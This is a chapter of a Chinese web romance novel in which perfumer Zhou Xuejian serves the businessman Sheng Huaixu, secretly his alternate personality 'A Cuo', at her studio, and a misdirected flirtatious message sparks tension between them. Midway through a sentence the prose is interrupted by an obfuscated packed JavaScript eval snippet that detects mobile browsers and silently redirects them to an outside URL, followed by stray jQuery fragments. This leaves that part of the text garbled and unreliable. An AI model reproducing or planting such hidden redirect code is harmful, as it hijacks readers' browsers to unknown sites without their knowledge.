13. 第十二章

作品:《如你所是[先婚后爱]

    周雪见的工作室在老市中心的一处文化街区边,东面是沪市最古老的文化旅游景点之一,西面是沪市最有名的中式别墅群,里面有相当多的高端客户,可谓是地理位置优越。


    在接到孙助理电话时,她原本是要和哥哥一起回家暂时不去工作室的。这么个大人物要来,她立马改口说自己已经在去工作室的路上。


    周川柏沉默听完通话,淡淡埋怨:“也不知道刚刚是谁说,今天晚上哪也不去就在家里跟我耗,天王老子来了也拉不走的?”


    “天王老子他不会真来,可盛总他是真来啊!哥,那可是盛怀绪!”


    “我知道,我耳朵没聋。”


    妹控周川柏暗戳戳吃醋,本就舍不得妹妹出嫁,现在看起来妹妹不但要多个老公,还要再多个小叔叔,这还没结婚呢,就已经把小叔叔的排名放在他前面了?结了婚还得了,岂不是前三都拿不到?


    他本心是向着妹妹的,出差回来第一时间就是陪妹妹回家和父母商榷联姻的事。现在看来,盛怀绪如此支持这场联姻,甚至亲自支持未来侄媳妇的生意,这个盛思饶可能没有表面这么简单。


    但他不服:“盛怀绪和你哥哪个重要?”


    周雪见一边在手机搜索里输入“盛怀绪”一边说:“当然是哥哥你咯。”


    输了一半停下,“哥,你知道盛怀绪的名字是什么意思吗?”


    周川柏:“……”


    “问这干什么?”周川柏盯着她看。


    “不会是那首诗,‘一怀愁绪,几年离索,错错错。’你说,谁会给自己孩子取这么伤感的名字呀?哪个父母会说自己孩子是个错误呀?哥,这个世界上应该没有不爱孩子的爸爸妈妈吧?”说罢,周雪见突然失落落的。


    周川柏酸意沿着腮帮子漫出来:“关你什么事……”


    周雪见噘噘嘴:“好奇嘛。”


    “那你对盛思饶好奇吗?”


    周雪见听见这名字就晦气,捂住耳朵作痛苦状:“啊!!嘶——什么东西刚刚扎了我耳朵,嘤嘤,好疼!”


    周川柏死死盯着周雪见:“难不成……”


    周雪见捂着耳朵委屈巴巴:“难不成什么?”


    周川柏也觉得自己的感觉太匪夷所思:“难不成你喜欢盛怀绪?”


    周雪见呼吸一滞,感知到一股热血即将从后脖颈蔓延向脸颊,连忙假装探周川柏脑门,实际去捂他眼睛:“你是不是还在时差内?梦到哪里说哪里?”


    周川柏视线被遮,注意力转移到与妹妹双手的博弈上,没在意她脸色悄然发红的一瞬。


    “那就好。谁都可以,盛怀绪不行。”


    周雪见停止袭击:“为什么?”


    “……”周川柏抿嘴,脑路一转扬眉反问,“还为什么?还用得着问吗?你自己都知道那可是盛怀绪!”


    ***


    到了工作室门口,外面下起小雨。周川柏因为时差原因,在车上睡着了。周雪见没有打扰,悄悄下车,交待司机送哥哥回家。


    刚进门,收到孙助理的信息:【盛总还有5分钟到。】


    周雪见进屋拿伞,安排员工准备一些热卖品和稀有品送去二楼VIP包间。


    不一会,黑色幻影顶着细雨缓缓停在工作室门口。


    周雪见提伞出来,发现孙助理从车门处取下伞开车门,便停步在原地等候。


    男人下车,潮湿背景下,黑色长款大衣勾出他修长高挑的剪影。眉眼半掩在黑色雨伞下,清冷锋利的气质与周围古色古香的暖黄灯光格格不入。


    阿错是刚刚被叫醒的,助理提醒才知道是盛怀绪半路决定来周雪见的工作室买香。


    人虽已下车,但仍有种时间空间的幻视感。


    更不知道为什么,在看见周雪见的时候,心中有种介于失落与期待的矛盾感之中。


    阿错知道那是主人格盛怀绪睡前留下的情绪,而他能体会到他哪怕一丝的情感波动。


    他竟然对这场见面有期待?


    走到门前,助理拿开雨伞,周雪见看到盛怀绪没有戴眼镜的样子时眼睛亮了一下。


    没想到一个人戴与不戴眼镜,气质完全判若两人。


    他的眼中带着些许未睡醒的惺忪感,双眉微蹙,睫毛微垂,裹挟着潮湿的雨气走来,有种忧郁病娇美男的气质。


    “周小姐。”阿错发现周雪见的怔愣以及耳轮肉眼可见的泛红,心里的矛盾感随之舒坦了。


    他暗暗勾起嘴角又叫一声,“周小姐?”


    周雪见回过神,粲然一笑:“盛总,欢迎欢迎。请进。”


    进门是淡淡的茶香,周雪见的工作室刚开业没多久,一楼右手边是养生茶室,四扇清代木门隔断,配上一些芦苇、花草,雅致又有格调。


    晚间下雨,最后两位客人准备离开,周雪见笑盈盈与人告别,客人在见到阿错的时候,忍不住多看了两眼。


    周雪见听见她们出门后小声议论的声音:“好帅……”“早知道再待一会就好了……”


    引得周雪见再次用余光偷看他,嘴上不忘客套引路:“盛总,左边上二楼。”


    转过屏风,后面是木质楼梯。周雪见平时从未觉得这楼梯窄,男人高高大大的身影走上去时,突然显得有些逼仄。


    “二楼是活动室和VIP包间,三楼是办公室,打算增加一个直播室,正在装修,可能有点吵……”


    “嗯。”


    二楼大厅中央有一张长长的中式方桌,上面工工整整放着些制香的器具。


    旁边有一整面墙的新中式小抽屉,像中药铺的百子柜重新做的改良,换了胡桃色配上极具设计感的铜扣,与店里新中式风格更加融合。


    旁边包间出来一个围着棕色围裙的小姑娘,看到盛怀绪时愣了一下,腼腆向周雪见汇报:“药药姐,已经准备好了。”


    周雪见知道小姑娘在腼腆什么,笑着说:“好,你先去忙。”


    包间内灯光比大厅暗一些,点着仿真烛台和中式花灯。仿古木桌上整整齐齐摆放着包装精致的精油、香牌样品、咖啡豆以及热好的香茗。


    周雪见请盛怀绪在对面入座,为他斟茶,询问他有没有什么比较喜欢的味道。


    阿错还未完全苏醒,打算先看看周雪见的“表演”。


    “没有。周小姐帮我推荐一下?”


    于是周雪见挑选出一款与盛怀绪气质相符的热卖品给他试闻,并向他介绍前中后调以及材料、作用。


    这款香偏冷冽的木质调,里面添加了龙脑香、沉香、檀香等多种香药材,解郁安神,既符合盛怀绪清冷沉稳的气质,又能缓解繁忙工作带来的压力。


    周雪见刚刚在路上特意查过盛怀绪的资料,其中有一条推送说盛怀绪在上个月因为过劳晕倒,导致那三天的股价大跌。


    于是,她猜想盛怀绪一定是压力很大或者睡眠不好。


    阿错浅浅闻了一下,先入鼻腔的是一种锐利干净的清透感,让他瞬间提神醒脑。紧随其后的是温润醇厚的木质调,仿佛置身于雨后的松林。


    这种


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974461|193494||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    初闻反差又浑然一体的层次感的确很合他的意,但他知道这并不是盛怀绪想要的。


    他面无表情放下试香纸,抬眸看她:“你觉得我适合这个?”


    周雪见秒懂盛怀绪的意思,递咖啡豆给他的同时笑着说:“最主要还是要看您的喜好。还有别的款,我再给您挑一个?”


    几款下来,阿错全都不满意。


    周雪见有些受挫,她这些香全是精挑细选反反复复磨了成百上千次配方才调出来的,目前为止无人不爱。


    她面带微笑,保持专业的耐心和周到说:“盛总,如果这些都不喜欢的话,我们可以按照您的需求定制。”


    阿错喜闻乐见眼前的人微微受挫又努力保持微笑的样子:“好。可以。”


    他食指与拇指轻轻提起桌上的茶盏,饶有兴致抿上一口。


    白茶清淡的香气从唇齿间蔓延开来,他的心情完全舒畅了。


    “您稍等,我去外面取张表格。”


    “好。”阿错又抿上第二口,目送周雪见离开。


    周雪见走出包间后深深舒了一口气。


    刚刚在盛怀绪专心试香时一时悸动,偷偷拍了他的照片,拍完后心狂跳不止,脸颊不受控地发烫。幸好光线微暗,对方应该没发现。


    她本想把照片分享到闺蜜群炫耀一番,没想手速太快,直接点了第一个分享人,发完才发现是“S”盛思饶。


    周雪见干脆将错就错,秒切浪·女人设:【你小叔叔真帅,真想睡他。】


    发完得意洋洋,觉得自己就是个天才!


    一墙之隔的阿错手机震了一下,点开聊天框,看到自己照片后眉峰机不可查地动了一下。


    照片中是他刚刚试香的样子,手腕轻抬,指节修长。室内的暖色调完美中和了他原本阴郁疏离的气质,有种不真实的柔和感。


    他从未在别人的视角里审视过自己。


    紧接着,一段直白、轻佻的文字像挑衅更像一封战书,让他眉峰一挑,空气瞬间凝固。


    想睡我?


    呵……


    他学着盛思饶的习惯发去一串省略号,随后将手机静音,锁屏,收进口袋。


    抬眼间,扬言想睡他的女人捧着一张问卷笑盈盈进来,眼眸晶亮,清雅、知性,根本不像写出那些大胆文字的人。


    阿错倏然觉得有趣极了。


    他们之间似乎有着某种共鸣。


    周雪见将表格摊在盛怀绪面前,声音甜软无暇:“盛总,麻烦您简单填一下吧。方便我们做个了解。”


    阿错扫了眼问卷狐疑道:“生辰八字?身体状况?还有,特殊喜好??”


    今晚越来越有意思了。


    “嗯。”周雪见柔婉对上他审视的目光,“生辰八字不知道可以写生日。”


    他推笔不写,淡淡道:“我已经有心仪的香味。这味香,你这里有。”


    周雪见欣喜:“是吗?那太好了。”


    “只是这味道不适合用在我身上,倒适合——待在我身边。”


    周雪见眼珠转了转,没有理解盛怀绪的意思:“您说的是哪款?”


    阿错起身,骨节分明的手按在空白问卷上,身体压迫式地前倾,贴近周雪见耳边。


    周雪见还未反应过来,视线就被阴影罩住,一种凛冽侵略性的气息扑面而来,让她不由得后缩一寸,双手攥紧。


    男人温热的气息拂过耳廓,低沉又带着些许玩味的声音电流一般钻进她的耳膜:


    “你身上这款。”